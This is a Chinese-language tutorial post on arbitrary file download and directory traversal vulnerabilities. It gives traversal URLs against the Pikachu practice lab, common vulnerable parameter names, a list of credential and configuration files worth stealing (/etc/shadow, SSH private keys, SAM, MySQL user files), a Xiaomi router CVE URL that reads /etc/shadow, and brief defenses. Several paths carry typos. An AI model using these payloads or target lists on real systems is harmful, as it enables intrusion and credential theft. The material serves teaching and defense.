web任意文件下载和目录遍历

相野
2023-12-01

文件下载漏洞
文件下载功能在很多web系统上的会出现,一般当我们点击下载链接,
便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件
名称,后台在收到请求后会开始执行下载代码。将该文件名对应的
response给浏览器,从而完成下载,如果后台收到请求下载的文件名后下载文件的路径而不对其他进行安全验证,将其
直接拼接下载文件的路径而中不对其进行安全判断的话,则可能引发不按预期的文件下载漏洞,比如下载到/etc/passwd目录下的文件,或者下载到MySQL配置文件等

漏洞挖掘
可以通过扫描工具探测可疑目录,
可以找到文件下载地方验证是否存在函数
通过谷歌或者百度搜索等

漏洞利用前提
存在读取函数文件函数
可以读取文件的路径,过滤校验不不合格

实例通过函数下载到其他目录下的文件

192.168.11.12/pikachu-master/vul/unsafedownload/execdownload.php?filename=ns.png

http://192.168.11.12/pikachu-master/vul/unsafedownload/execdownload.php?filename=../../../../../index.php

可疑的链接

download.php?path=
download.php?file=
down.php?file=
data.php?file=
readfile.php?file=
read.php?filename=

系统配置文件目录

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
root/.ssh/authorized_keys如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa//ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore//记录每个访问计算机用户的公钥
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow//账户密码文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

漏洞防御

下载路径不可控,而是程序自动生成后保存在数据库中根据ID进行下载
对参数做严格的过滤,不能进行目录遍

目录遍历漏洞
目录遍历漏洞在国内外有许多不同的叫法,也可以叫做 信息泄露漏洞 、非授权文件包含漏洞等。目录遍历漏洞可能存在于Web服务器软件本身,也可能存在于Web 应用程序 之中。目录遍历攻击比较容易掌握,要执行一个目录遍历攻击,攻击者所需要的只是一个web浏览器,并且掌握一些关于系统的缺省文件和目录所存在的位置的知识即可。

目录遍历漏洞原理
目录遍历漏洞原理比较简单,就是程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。这里的目录跳转符可以是…/,也可是…/的ASCII编码或者是 unicode编码
等。

漏洞利用
http://localhost/pikachu-master/vul/urlredirect/urlredirect.php?url=https://www.baidu.com
http://192.168.12.130/pikachu-master/vul/urlredirect/urlredirect.php?title=…/…/…/…/…/…/etc/passwd

实例
小米路由器远程任意文件读取漏洞(CVE-2019-18371)
访问http://192.168.31.1/api-third-party/download/extdisks…/etc/shadow
可以拿到root密码

 类似资料: